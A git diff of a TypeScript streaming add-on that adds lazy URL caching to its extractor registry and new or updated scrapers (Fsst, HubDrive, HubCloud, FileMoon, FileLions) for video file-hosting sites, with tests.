|
||||||
|
this.lazyUrlResultCache = new Cacheable({
|
||||||
|
nonBlocking: true,
|
||||||
|
primary: new Keyv({ store: new CacheableMemory({ lruSize: 1024 }) }),
|
||||||
|
secondary: createKeyvSqlite('extractor-lazy-cache'),
|
||||||
stats: true,
|
stats: true,
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
@ -25,47 +33,80 @@ export class ExtractorRegistry {
|
||||||
public stats() {
|
public stats() {
|
||||||
return {
|
return {
|
||||||
urlResultCache: this.urlResultCache.stats,
|
urlResultCache: this.urlResultCache.stats,
|
||||||
|
lazyUrlResultCache: this.lazyUrlResultCache.stats,
|
||||||
};
|
};
|
||||||
};
|
};
|
||||||
|
|
||||||
public async handle(ctx: Context, url: URL, meta?: Meta): Promise<UrlResult[]> {
|
public async handle(ctx: Context, url: URL, meta?: Meta, allowLazy?: boolean): Promise<UrlResult[]> {
|
||||||
const extractor = this.extractors.find(extractor => !isExtractorDisabled(ctx.config, extractor) && extractor.supports(ctx, url));
|
const extractor = this.extractors.find(extractor => !isExtractorDisabled(ctx.config, extractor) && extractor.supports(ctx, url));
|
||||||
if (!extractor) {
|
if (!extractor) {
|
||||||
return [];
|
return [];
|
||||||
}
|
}
|
||||||
|
|
||||||
const normalizedUrl = extractor.normalize(url);
|
const normalizedUrl = extractor.normalize(url);
|
||||||
const cacheKey = extractor.viaMediaFlowProxy
|
const cacheKey = this.determineCacheKey(ctx, extractor, normalizedUrl);
|
||||||
? `${extractor.id}_${normalizedUrl}_${ctx.config.mediaFlowProxyUrl}`
|
|
||||||
: `${extractor.id}_${normalizedUrl}`;
|
|
||||||
|
|
||||||
const storedDataRaw = await this.urlResultCache.getRaw<UrlResult[]>(cacheKey);
|
const storedDataRaw = await this.urlResultCache.getRaw<UrlResult[]>(cacheKey);
|
||||||
const expires = storedDataRaw?.expires;
|
const expires = storedDataRaw?.expires;
|
||||||
if (storedDataRaw && expires) {
|
if (storedDataRaw && expires) {
|
||||||
// Ignore the cache randomly after at least 2/3 of the TTL passed to start refreshing results slowly
|
const ttl = expires - Date.now();
|
||||||
const refreshTimestamp = this.randomInteger(expires - extractor.ttl * (2 / 3), expires);
|
|
||||||
const now = Date.now();
|
|
||||||
|
|
||||||
/* istanbul ignore if */
|
/* istanbul ignore if */
|
||||||
if (refreshTimestamp > now) {
|
if (ttl > 0) {
|
||||||
return (storedDataRaw.value as UrlResult[]).map(urlResult => ({ ...urlResult, ttl: expires - now, url: new URL(urlResult.url) }));
|
return (storedDataRaw.value as UrlResult[]).map(urlResult => ({ ...urlResult, ttl, url: new URL(urlResult.url) }));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const lazyUrlResults = await this.lazyUrlResultCache.get<UrlResult[]>(normalizedUrl.href) ?? [];
|
||||||
|
|
||||||
|
/* istanbul ignore next */
|
||||||
|
if (
|
||||||
|
lazyUrlResults.length && allowLazy && !extractor.viaMediaFlowProxy
|
||||||
|
&& lazyUrlResults.every(urlResult => urlResult.format !== Format.hls) // related to Android issues, e.g. https://github.com/Stremio/stremio-bugs/issues/1574 or https://github.com/Stremio/stremio-bugs/issues/1579
|
||||||
|
) {
|
||||||
|
// generate lazy extract urls
|
||||||
|
return lazyUrlResults.map((urlResult, index) => {
|
||||||
|
const extractUrl = new URL(`${envGet('PROTOCOL')}:${envGet('HOST')}/extract/`);
|
||||||
|
|
||||||
|
extractUrl.searchParams.set('index', `${index}`);
|
||||||
|
extractUrl.searchParams.set('url', url.href);
|
||||||
|
|
||||||
|
return { ...urlResult, url: extractUrl };
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
this.logger.info(`Extract ${url} using ${extractor.id} extractor`, ctx);
|
this.logger.info(`Extract ${url} using ${extractor.id} extractor`, ctx);
|
||||||
|
|
||||||
const urlResults = await extractor.extract(ctx, normalizedUrl, { ...meta, countryCodes: meta?.countryCodes ?? [] });
|
const mergedMeta: Meta = { ...meta, ...lazyUrlResults[0]?.meta };
|
||||||
|
const urlResults = await extractor.extract(ctx, normalizedUrl, { extractorId: extractor.id, ...mergedMeta });
|
||||||
|
|
||||||
if (!urlResults.length) {
|
if (!Object.keys(mergedMeta).length || urlResults.some(urlResult => urlResult.error)) {
|
||||||
await this.urlResultCache.set<UrlResult[]>(cacheKey, urlResults, 43200000); // 12h
|
await this.urlResultCache.delete(cacheKey);
|
||||||
} else if (!urlResults.some(urlResult => urlResult.error) && extractor.ttl) {
|
await this.lazyUrlResultCache.delete(normalizedUrl.href);
|
||||||
await this.urlResultCache.set<UrlResult[]>(cacheKey, urlResults, extractor.ttl);
|
|
||||||
|
return urlResults;
|
||||||
|
}
|
||||||
|
|
||||||
|
const ttl = urlResults.length ? extractor.ttl : 43200000; // 12h
|
||||||
|
|
||||||
|
await this.urlResultCache.set<UrlResult[]>(cacheKey, urlResults, ttl);
|
||||||
|
|
||||||
|
if (extractor.id !== 'external') {
|
||||||
|
await this.lazyUrlResultCache.set<UrlResult[]>(normalizedUrl.href, urlResults, 2629800000); // 1 month
|
||||||
}
|
}
|
||||||
|
|
||||||
return urlResults;
|
return urlResults;
|
||||||
};
|
};
|
||||||
|
|
||||||
private randomInteger(min: number, max: number) {
|
private determineCacheKey(ctx: Context, extractor: Extractor, url: URL): string {
|
||||||
return Math.floor(Math.random() * (max - min + 1)) + min;
|
let suffix = '';
|
||||||
|
if (extractor.viaMediaFlowProxy) {
|
||||||
|
suffix += `_${ctx.config.mediaFlowProxyUrl}`;
|
||||||
|
}
|
||||||
|
if (extractor.cacheVersion) {
|
||||||
|
suffix += `_${extractor.cacheVersion}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
return `${extractor.id}_${url}${suffix}`;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -1,13 +1,13 @@
|
||||||
import bytes from 'bytes';
|
import bytes from 'bytes';
|
||||||
import { NotFoundError } from '../error';
|
import { NotFoundError } from '../error';
|
||||||
import { Context, Format, Meta, UrlResult } from '../types';
|
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||||
import { buildMediaFlowProxyExtractorStreamUrl, supportsMediaFlowProxy } from '../utils';
|
import { buildMediaFlowProxyExtractorStreamUrl, supportsMediaFlowProxy } from '../utils';
|
||||||
import { Extractor } from './Extractor';
|
import { Extractor } from './Extractor';
|
||||||
|
|
||||||
export class Fastream extends Extractor {
|
export class Fastream extends Extractor {
|
||||||
public readonly id = 'fastream';
|
public readonly id = 'fastream';
|
||||||
|
|
||||||
public readonly label = 'Fastream (via MediaFlow Proxy)';
|
public readonly label = 'Fastream';
|
||||||
|
|
||||||
public override viaMediaFlowProxy = true;
|
public override viaMediaFlowProxy = true;
|
||||||
|
|
||||||
|
|
@ -19,7 +19,7 @@ export class Fastream extends Extractor {
|
||||||
return new URL(url.href.replace('/e/', '/embed-').replace('/d/', '/embed-'));
|
return new URL(url.href.replace('/e/', '/embed-').replace('/d/', '/embed-'));
|
||||||
}
|
}
|
||||||
|
|
||||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||||
const headers = { Referer: meta.referer ?? url.href };
|
const headers = { Referer: meta.referer ?? url.href };
|
||||||
|
|
||||||
const downloadUrl = new URL(url.href.replace('/embed-', '/d/'));
|
const downloadUrl = new URL(url.href.replace('/embed-', '/d/'));
|
||||||
|
|
@ -38,9 +38,6 @@ export class Fastream extends Extractor {
|
||||||
{
|
{
|
||||||
url: playlistUrl,
|
url: playlistUrl,
|
||||||
format: Format.hls,
|
format: Format.hls,
|
||||||
label: this.label,
|
|
||||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
|
||||||
ttl: this.ttl,
|
|
||||||
meta: {
|
meta: {
|
||||||
...meta,
|
...meta,
|
||||||
bytes: bytes.parse(heightAndSizeMatch[2] as string) as number,
|
bytes: bytes.parse(heightAndSizeMatch[2] as string) as number,
|
||||||
|
|
|
||||||
|
|
@ -21,4 +21,8 @@ describe('FileLions', () => {
|
||||||
test('file not found', async () => {
|
test('file not found', async () => {
|
||||||
expect(await extractorRegistry.handle(ctx, new URL('https://filelions.to/v/ylcp2cu5qanb'))).toMatchSnapshot();
|
expect(await extractorRegistry.handle(ctx, new URL('https://filelions.to/v/ylcp2cu5qanb'))).toMatchSnapshot();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
test('deleted by administration', async () => {
|
||||||
|
expect(await extractorRegistry.handle(ctx, new URL('https://callistanise.com/f/cy4t5nkerjrt'))).toMatchSnapshot();
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|
|
||||||
|
|
@ -1,7 +1,7 @@
|
||||||
import bytes from 'bytes';
|
import bytes from 'bytes';
|
||||||
import * as cheerio from 'cheerio';
|
import * as cheerio from 'cheerio';
|
||||||
import { NotFoundError } from '../error';
|
import { NotFoundError } from '../error';
|
||||||
import { Context, Format, Meta, UrlResult } from '../types';
|
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||||
import { buildMediaFlowProxyExtractorStreamUrl, supportsMediaFlowProxy, unpackEval } from '../utils';
|
import { buildMediaFlowProxyExtractorStreamUrl, supportsMediaFlowProxy, unpackEval } from '../utils';
|
||||||
import { Extractor } from './Extractor';
|
import { Extractor } from './Extractor';
|
||||||
|
|
||||||
|
|
@ -9,7 +9,7 @@ import { Extractor } from './Extractor';
|
||||||
export class FileLions extends Extractor {
|
export class FileLions extends Extractor {
|
||||||
public readonly id = 'filelions';
|
public readonly id = 'filelions';
|
||||||
|
|
||||||
public readonly label = 'FileLions (via MediaFlow Proxy)';
|
public readonly label = 'FileLions';
|
||||||
|
|
||||||
public override viaMediaFlowProxy = true;
|
public override viaMediaFlowProxy = true;
|
||||||
|
|
||||||
|
|
@ -22,17 +22,19 @@ export class FileLions extends Extractor {
|
||||||
'anime7u.com',
|
'anime7u.com',
|
||||||
'azipcdn.com',
|
'azipcdn.com',
|
||||||
'bingezove.com',
|
'bingezove.com',
|
||||||
|
'callistanise.com',
|
||||||
'coolciima.online',
|
'coolciima.online',
|
||||||
'dhtpre.com',
|
'dhtpre.com',
|
||||||
'dingtezuni.com',
|
'dingtezuni.com',
|
||||||
|
'dintezuvio.com',
|
||||||
'e4xb5c2xnz.sbs',
|
'e4xb5c2xnz.sbs',
|
||||||
'egsyxutd.sbs',
|
'egsyxutd.sbs',
|
||||||
'fdewsdc.sbs',
|
'fdewsdc.sbs',
|
||||||
'gsfomqu.sbs',
|
'gsfomqu.sbs',
|
||||||
'javplaya.com',
|
'javplaya.com',
|
||||||
'katomen.online',
|
'katomen.online',
|
||||||
'kinoger.be',
|
|
||||||
'lumiawatch.top',
|
'lumiawatch.top',
|
||||||
|
'minochinos.com',
|
||||||
'mivalyo.com',
|
'mivalyo.com',
|
||||||
'moflix-stream.click',
|
'moflix-stream.click',
|
||||||
'motvy55.store',
|
'motvy55.store',
|
||||||
|
|
@ -60,7 +62,7 @@ export class FileLions extends Extractor {
|
||||||
return new URL(url.href.replace('/v/', '/f/').replace('/download/', '/f/').replace('/file/', '/f/'));
|
return new URL(url.href.replace('/v/', '/f/').replace('/download/', '/f/').replace('/file/', '/f/'));
|
||||||
}
|
}
|
||||||
|
|
||||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||||
const headers = { Referer: meta.referer ?? url.href };
|
const headers = { Referer: meta.referer ?? url.href };
|
||||||
|
|
||||||
const html = await this.fetcher.text(ctx, url, { headers });
|
const html = await this.fetcher.text(ctx, url, { headers });
|
||||||
|
|
@ -69,7 +71,7 @@ export class FileLions extends Extractor {
|
||||||
return await this.extractInternal(ctx, new URL(url.href.replace('/f/', '/v/')), meta);
|
return await this.extractInternal(ctx, new URL(url.href.replace('/f/', '/v/')), meta);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (/File Not Found/.test(html)) {
|
if (/File Not Found|deleted by administration/.test(html)) {
|
||||||
throw new NotFoundError();
|
throw new NotFoundError();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
@ -85,9 +87,6 @@ export class FileLions extends Extractor {
|
||||||
{
|
{
|
||||||
url: await buildMediaFlowProxyExtractorStreamUrl(ctx, this.fetcher, 'FileLions', url, headers),
|
url: await buildMediaFlowProxyExtractorStreamUrl(ctx, this.fetcher, 'FileLions', url, headers),
|
||||||
format: Format.hls,
|
format: Format.hls,
|
||||||
label: this.label,
|
|
||||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
|
||||||
ttl: this.ttl,
|
|
||||||
meta: {
|
meta: {
|
||||||
...meta,
|
...meta,
|
||||||
height: parseInt(heightMatch[1] as string),
|
height: parseInt(heightMatch[1] as string),
|
||||||
|
|
|
||||||
|
|
@ -17,4 +17,8 @@ describe('FileMoon', () => {
|
||||||
test('page not found', async () => {
|
test('page not found', async () => {
|
||||||
expect(await extractorRegistry.handle(ctx, new URL('https://filemoon.sx/e/n7i8zodwjqr9'))).toMatchSnapshot();
|
expect(await extractorRegistry.handle(ctx, new URL('https://filemoon.sx/e/n7i8zodwjqr9'))).toMatchSnapshot();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
test('missing height', async () => {
|
||||||
|
expect(await extractorRegistry.handle(ctx, new URL('https://filemoon.to/d/ugj7f1kq94p1'))).toMatchSnapshot();
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
import * as cheerio from 'cheerio';
|
import * as cheerio from 'cheerio';
|
||||||
import { NotFoundError } from '../error';
|
import { NotFoundError } from '../error';
|
||||||
import { Context, Format, Meta, UrlResult } from '../types';
|
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||||
import {
|
import {
|
||||||
buildMediaFlowProxyExtractorStreamUrl,
|
buildMediaFlowProxyExtractorStreamUrl,
|
||||||
supportsMediaFlowProxy,
|
supportsMediaFlowProxy,
|
||||||
|
|
@ -12,7 +12,7 @@ import { Extractor } from './Extractor';
|
||||||
export class FileMoon extends Extractor {
|
export class FileMoon extends Extractor {
|
||||||
public readonly id = 'filemoon';
|
public readonly id = 'filemoon';
|
||||||
|
|
||||||
public readonly label = 'FileMoon (via MediaFlow Proxy)';
|
public readonly label = 'FileMoon';
|
||||||
|
|
||||||
public override viaMediaFlowProxy = true;
|
public override viaMediaFlowProxy = true;
|
||||||
|
|
||||||
|
|
@ -45,7 +45,7 @@ export class FileMoon extends Extractor {
|
||||||
return new URL(url.href.replace('/e/', '/d/'));
|
return new URL(url.href.replace('/e/', '/d/'));
|
||||||
}
|
}
|
||||||
|
|
||||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta, originalUrl?: URL): Promise<UrlResult[]> {
|
protected async extractInternal(ctx: Context, url: URL, meta: Meta, originalUrl?: URL): Promise<InternalUrlResult[]> {
|
||||||
const headers = { Referer: meta.referer ?? url.href };
|
const headers = { Referer: meta.referer ?? url.href };
|
||||||
|
|
||||||
const html = await this.fetcher.text(ctx, url, { headers });
|
const html = await this.fetcher.text(ctx, url, { headers });
|
||||||
|
|
@ -57,26 +57,24 @@ export class FileMoon extends Extractor {
|
||||||
const $ = cheerio.load(html);
|
const $ = cheerio.load(html);
|
||||||
const title = $('h3').text().trim();
|
const title = $('h3').text().trim();
|
||||||
|
|
||||||
const iframeUrlMatch = html.match(/iframe.*?src=["'](.*?)["']/);
|
const iframeUrlMatches = Array.from(html.matchAll(/iframe.*?src=["'](.*?)["']/g));
|
||||||
if (iframeUrlMatch && iframeUrlMatch[1]) {
|
if (iframeUrlMatches.length) {
|
||||||
return await this.extractInternal(ctx, new URL(iframeUrlMatch[1]), { title, ...meta }, url);
|
// Use last match because there can be fake adblock catcher urls before
|
||||||
|
return await this.extractInternal(ctx, new URL((iframeUrlMatches[iframeUrlMatches.length - 1] as RegExpExecArray)[1] as string), { title, ...meta }, url);
|
||||||
}
|
}
|
||||||
|
|
||||||
const playlistUrl = await buildMediaFlowProxyExtractorStreamUrl(ctx, this.fetcher, 'FileMoon', originalUrl as URL, headers);
|
const playlistUrl = await buildMediaFlowProxyExtractorStreamUrl(ctx, this.fetcher, 'FileMoon', originalUrl as URL, headers);
|
||||||
|
|
||||||
const unpacked = unpackEval(html);
|
const unpacked = unpackEval(html);
|
||||||
const heightMatch = unpacked.match(/(\d{3,})p/) as string[];
|
const heightMatch = unpacked.match(/(\d{3,})p/);
|
||||||
|
|
||||||
return [
|
return [
|
||||||
{
|
{
|
||||||
url: playlistUrl,
|
url: playlistUrl,
|
||||||
format: Format.hls,
|
format: Format.hls,
|
||||||
label: this.label,
|
|
||||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
|
||||||
ttl: this.ttl,
|
|
||||||
meta: {
|
meta: {
|
||||||
...meta,
|
...meta,
|
||||||
height: parseInt(heightMatch[1] as string),
|
...(heightMatch && { height: parseInt(heightMatch[1] as string) }),
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
];
|
];
|
||||||
|
|
|
||||||
16
src/extractor/Fsst.test.ts
Normal file
16
src/extractor/Fsst.test.ts
Normal file
|
|
@ -0,0 +1,16 @@
|
||||||
|
import winston from 'winston';
|
||||||
|
import { createTestContext } from '../test';
|
||||||
|
import { FetcherMock } from '../utils';
|
||||||
|
import { ExtractorRegistry } from './ExtractorRegistry';
|
||||||
|
import { Fsst } from './Fsst';
|
||||||
|
|
||||||
|
const logger = winston.createLogger({ transports: [new winston.transports.Console({ level: 'nope' })] });
|
||||||
|
const extractorRegistry = new ExtractorRegistry(logger, [new Fsst(new FetcherMock(`${__dirname}/__fixtures__/Fsst`))]);
|
||||||
|
|
||||||
|
const ctx = createTestContext();
|
||||||
|
|
||||||
|
describe('Fsst', () => {
|
||||||
|
test('Wake up Dead Man', async () => {
|
||||||
|
expect(await extractorRegistry.handle(ctx, new URL('https://fsst.online/embed/948429/'))).toMatchSnapshot();
|
||||||
|
});
|
||||||
|
});
|
||||||
41
src/extractor/Fsst.ts
Normal file
41
src/extractor/Fsst.ts
Normal file
|
|
@ -0,0 +1,41 @@
|
||||||
|
import * as cheerio from 'cheerio';
|
||||||
|
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||||
|
import { Extractor } from './Extractor';
|
||||||
|
|
||||||
|
export class Fsst extends Extractor {
|
||||||
|
public readonly id = 'fsst';
|
||||||
|
|
||||||
|
public readonly label = 'Fsst';
|
||||||
|
|
||||||
|
public override readonly ttl: number = 10800000; // 3h
|
||||||
|
|
||||||
|
public supports(_ctx: Context, url: URL): boolean {
|
||||||
|
return null !== url.host.match(/fsst/);
|
||||||
|
};
|
||||||
|
|
||||||
|
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||||
|
const headers = { Referer: meta.referer ?? url.href };
|
||||||
|
|
||||||
|
const html = await this.fetcher.text(ctx, url, { headers, noProxyHeaders: true });
|
||||||
|
|
||||||
|
const $ = cheerio.load(html);
|
||||||
|
const title = $('title').text().trim();
|
||||||
|
|
||||||
|
const filesMatch = html.match(/file:"(.*)"/) as string[];
|
||||||
|
|
||||||
|
const lastFile = (filesMatch[1] as string).split(',').pop() as string;
|
||||||
|
|
||||||
|
const heightAndUrlMatch = lastFile.match(/\[?([\d]*)p?]?(.*)/) as string[];
|
||||||
|
const fileHref = heightAndUrlMatch[2] as string;
|
||||||
|
|
||||||
|
return [{
|
||||||
|
url: await this.fetcher.getFinalRedirectUrl(ctx, new URL(fileHref), { headers, noProxyHeaders: true }, 1),
|
||||||
|
format: Format.mp4,
|
||||||
|
meta: {
|
||||||
|
...meta,
|
||||||
|
height: parseInt(heightAndUrlMatch[1] as string),
|
||||||
|
title,
|
||||||
|
},
|
||||||
|
}];
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
@ -21,4 +21,8 @@ describe('HubCloud', () => {
|
||||||
test('handle dark 2017 s03e08', async () => {
|
test('handle dark 2017 s03e08', async () => {
|
||||||
expect(await extractorRegistry.handle(ctx, new URL('https://hubcloud.one/drive/nknlofk8snfnknh'))).toMatchSnapshot();
|
expect(await extractorRegistry.handle(ctx, new URL('https://hubcloud.one/drive/nknlofk8snfnknh'))).toMatchSnapshot();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
test('handle goat 2026', async () => {
|
||||||
|
expect(await extractorRegistry.handle(ctx, new URL('https://hubcloud.foo/drive/p94k4dccjwxjcx4'))).toMatchSnapshot();
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,7 @@
|
||||||
import bytes from 'bytes';
|
import bytes from 'bytes';
|
||||||
import * as cheerio from 'cheerio';
|
import * as cheerio from 'cheerio';
|
||||||
import { Context, Format, Meta, UrlResult } from '../types';
|
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||||
|
import { findCountryCodes, findHeight } from '../utils';
|
||||||
import { Extractor } from './Extractor';
|
import { Extractor } from './Extractor';
|
||||||
|
|
||||||
export class HubCloud extends Extractor {
|
export class HubCloud extends Extractor {
|
||||||
|
|
@ -8,13 +9,15 @@ export class HubCloud extends Extractor {
|
||||||
|
|
||||||
public readonly label = 'HubCloud';
|
public readonly label = 'HubCloud';
|
||||||
|
|
||||||
public override readonly ttl: number = 259200000; // 3d
|
public override readonly ttl: number = 43200000; // 12h
|
||||||
|
|
||||||
|
public override readonly cacheVersion = 1;
|
||||||
|
|
||||||
public supports(_ctx: Context, url: URL): boolean {
|
public supports(_ctx: Context, url: URL): boolean {
|
||||||
return null !== url.host.match(/hubcloud/);
|
return null !== url.host.match(/hubcloud/);
|
||||||
}
|
}
|
||||||
|
|
||||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||||
const headers = { Referer: meta.referer ?? url.href };
|
const headers = { Referer: meta.referer ?? url.href };
|
||||||
|
|
||||||
const redirectHtml = await this.fetcher.text(ctx, url, { headers });
|
const redirectHtml = await this.fetcher.text(ctx, url, { headers });
|
||||||
|
|
@ -23,12 +26,16 @@ export class HubCloud extends Extractor {
|
||||||
const linksHtml = await this.fetcher.text(ctx, new URL(redirectUrlMatch[1] as string), { headers: { Referer: url.href } });
|
const linksHtml = await this.fetcher.text(ctx, new URL(redirectUrlMatch[1] as string), { headers: { Referer: url.href } });
|
||||||
const $ = cheerio.load(linksHtml);
|
const $ = cheerio.load(linksHtml);
|
||||||
|
|
||||||
const urlResults = [
|
const title = $('title').text().trim();
|
||||||
|
const countryCodes = [...new Set([...meta.countryCodes ?? [], ...findCountryCodes(title)])];
|
||||||
|
const height = meta.height ?? findHeight(title);
|
||||||
|
|
||||||
|
return Promise.all([
|
||||||
...$('a')
|
...$('a')
|
||||||
.filter((_i, el) => {
|
.filter((_i, el) => {
|
||||||
const text = $(el).text();
|
const text = $(el).text();
|
||||||
|
|
||||||
return text.includes('FSL') || text.includes('Download File');
|
return text.includes('FSL') && !text.includes('FSLv2');
|
||||||
})
|
})
|
||||||
.map((_i, el) => {
|
.map((_i, el) => {
|
||||||
const url = new URL($(el).attr('href') as string);
|
const url = new URL($(el).attr('href') as string);
|
||||||
|
|
@ -36,48 +43,60 @@ export class HubCloud extends Extractor {
|
||||||
url,
|
url,
|
||||||
format: Format.unknown,
|
format: Format.unknown,
|
||||||
label: `${this.label} (FSL)`,
|
label: `${this.label} (FSL)`,
|
||||||
sourceId: `${this.id}_fsl`,
|
|
||||||
ttl: this.ttl,
|
|
||||||
meta: {
|
meta: {
|
||||||
...meta,
|
...meta,
|
||||||
bytes: bytes.parse($('#size').text()) as number,
|
bytes: bytes.parse($('#size').text()) as number,
|
||||||
title: $('title').text().trim(),
|
extractorId: `${this.id}_fsl`,
|
||||||
|
countryCodes,
|
||||||
|
height,
|
||||||
|
title,
|
||||||
|
},
|
||||||
|
};
|
||||||
|
}).toArray(),
|
||||||
|
...$('a')
|
||||||
|
.filter((_i, el) => {
|
||||||
|
const text = $(el).text();
|
||||||
|
|
||||||
|
return text.includes('FSLv2');
|
||||||
|
})
|
||||||
|
.map((_i, el) => {
|
||||||
|
const url = new URL($(el).attr('href') as string);
|
||||||
|
return {
|
||||||
|
url,
|
||||||
|
format: Format.unknown,
|
||||||
|
label: `${this.label} (FSLv2)`,
|
||||||
|
meta: {
|
||||||
|
...meta,
|
||||||
|
bytes: bytes.parse($('#size').text()) as number,
|
||||||
|
extractorId: `${this.id}_fslv2`,
|
||||||
|
countryCodes,
|
||||||
|
height,
|
||||||
|
title,
|
||||||
},
|
},
|
||||||
};
|
};
|
||||||
}).toArray(),
|
}).toArray(),
|
||||||
...$('a')
|
...$('a')
|
||||||
.filter((_i, el) => $(el).text().includes('PixelServer'))
|
.filter((_i, el) => $(el).text().includes('PixelServer'))
|
||||||
.map((_i, el) => {
|
.map((_i, el) => {
|
||||||
const url = new URL(($(el).attr('href') as string).replace('/u/', '/api/file/'));
|
const userUrl = new URL(($(el).attr('href') as string).replace('/api/file/', '/u/'));
|
||||||
|
const url = new URL(userUrl.href.replace('/u/', '/api/file/'));
|
||||||
|
url.searchParams.set('download', '');
|
||||||
|
|
||||||
return {
|
return {
|
||||||
url,
|
url,
|
||||||
format: Format.unknown,
|
format: Format.unknown,
|
||||||
label: `${this.label} (PixelServer)`,
|
label: `${this.label} (PixelServer)`,
|
||||||
sourceId: `${this.id}_pixelserver`,
|
|
||||||
ttl: this.ttl,
|
|
||||||
meta: {
|
meta: {
|
||||||
...meta,
|
...meta,
|
||||||
bytes: bytes.parse($('#size').text()) as number,
|
bytes: bytes.parse($('#size').text()) as number,
|
||||||
title: $('title').text().trim(),
|
extractorId: `${this.id}_pixelserver`,
|
||||||
|
countryCodes,
|
||||||
|
height,
|
||||||
|
title,
|
||||||
},
|
},
|
||||||
|
requestHeaders: { Referer: userUrl.href },
|
||||||
};
|
};
|
||||||
}).toArray(),
|
}).toArray(),
|
||||||
];
|
]);
|
||||||
|
|
||||||
return this.asyncFilter(urlResults, async ({ url }) => {
|
|
||||||
try {
|
|
||||||
await this.fetcher.head(ctx, url);
|
|
||||||
} catch {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
return true;
|
|
||||||
});
|
|
||||||
};
|
};
|
||||||
|
|
||||||
private async asyncFilter<T>(array: T[], asyncCallback: (item: T) => Promise<boolean>): Promise<T[]> {
|
|
||||||
const results = await Promise.all(array.map(asyncCallback));
|
|
||||||
|
|
||||||
return array.filter((_, index) => results[index]);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
|
||||||
29
src/extractor/HubDrive.test.ts
Normal file
29
src/extractor/HubDrive.test.ts
Normal file
|
|
@ -0,0 +1,29 @@
|
||||||
|
import winston from 'winston';
|
||||||
|
import { createTestContext } from '../test';
|
||||||
|
import { FetcherMock } from '../utils';
|
||||||
|
import { ExtractorRegistry } from './ExtractorRegistry';
|
||||||
|
import { HubCloud } from './HubCloud';
|
||||||
|
import { HubDrive } from './HubDrive';
|
||||||
|
|
||||||
|
const logger = winston.createLogger({ transports: [new winston.transports.Console({ level: 'nope' })] });
|
||||||
|
const extractorRegistry = new ExtractorRegistry(
|
||||||
|
logger,
|
||||||
|
[
|
||||||
|
new HubDrive(
|
||||||
|
new FetcherMock(`${__dirname}/__fixtures__/HubDrive`),
|
||||||
|
new HubCloud(new FetcherMock(`${__dirname}/__fixtures__/HubDrive/HubCloud`)),
|
||||||
|
),
|
||||||
|
],
|
||||||
|
);
|
||||||
|
|
||||||
|
const ctx = createTestContext();
|
||||||
|
|
||||||
|
describe('HubDrive', () => {
|
||||||
|
test('handle avatar', async () => {
|
||||||
|
expect(await extractorRegistry.handle(ctx, new URL('https://hubdrive.space/file/7283903021'))).toMatchSnapshot();
|
||||||
|
});
|
||||||
|
|
||||||
|
test('handle missing hubcloud', async () => {
|
||||||
|
expect(await extractorRegistry.handle(ctx, new URL('https://hubdrive.space/file/2243124026'))).toMatchSnapshot();
|
||||||
|
});
|
||||||
|
});
|
||||||
40
src/extractor/HubDrive.ts
Normal file
40
src/extractor/HubDrive.ts
Normal file
|
|
@ -0,0 +1,40 @@
|
||||||
|
import * as cheerio from 'cheerio';
|
||||||
|
import { Context, InternalUrlResult, Meta } from '../types';
|
||||||
|
import { Fetcher } from '../utils';
|
||||||
|
import { Extractor } from './Extractor';
|
||||||
|
import { HubCloud } from './HubCloud';
|
||||||
|
|
||||||
|
export class HubDrive extends Extractor {
|
||||||
|
public readonly id = 'hubdrive';
|
||||||
|
|
||||||
|
public readonly label = 'HubDrive';
|
||||||
|
|
||||||
|
public override readonly ttl: number = 43200000; // 12h
|
||||||
|
|
||||||
|
public override readonly cacheVersion = 1;
|
||||||
|
|
||||||
|
private readonly hubCloud: HubCloud;
|
||||||
|
|
||||||
|
public constructor(fetcher: Fetcher, hubCloud: HubCloud) {
|
||||||
|
super(fetcher);
|
||||||
|
|
||||||
|
this.hubCloud = hubCloud;
|
||||||
|
}
|
||||||
|
|
||||||
|
public supports(_ctx: Context, url: URL): boolean {
|
||||||
|
return null !== url.host.match(/hubdrive/);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||||
|
const headers = { Referer: meta.referer ?? url.href };
|
||||||
|
|
||||||
|
const html = await this.fetcher.text(ctx, url, { headers });
|
||||||
|
const $ = cheerio.load(html);
|
||||||
|
|
||||||
|
const hubCloudUrl = $('a:contains("HubCloud")')
|
||||||
|
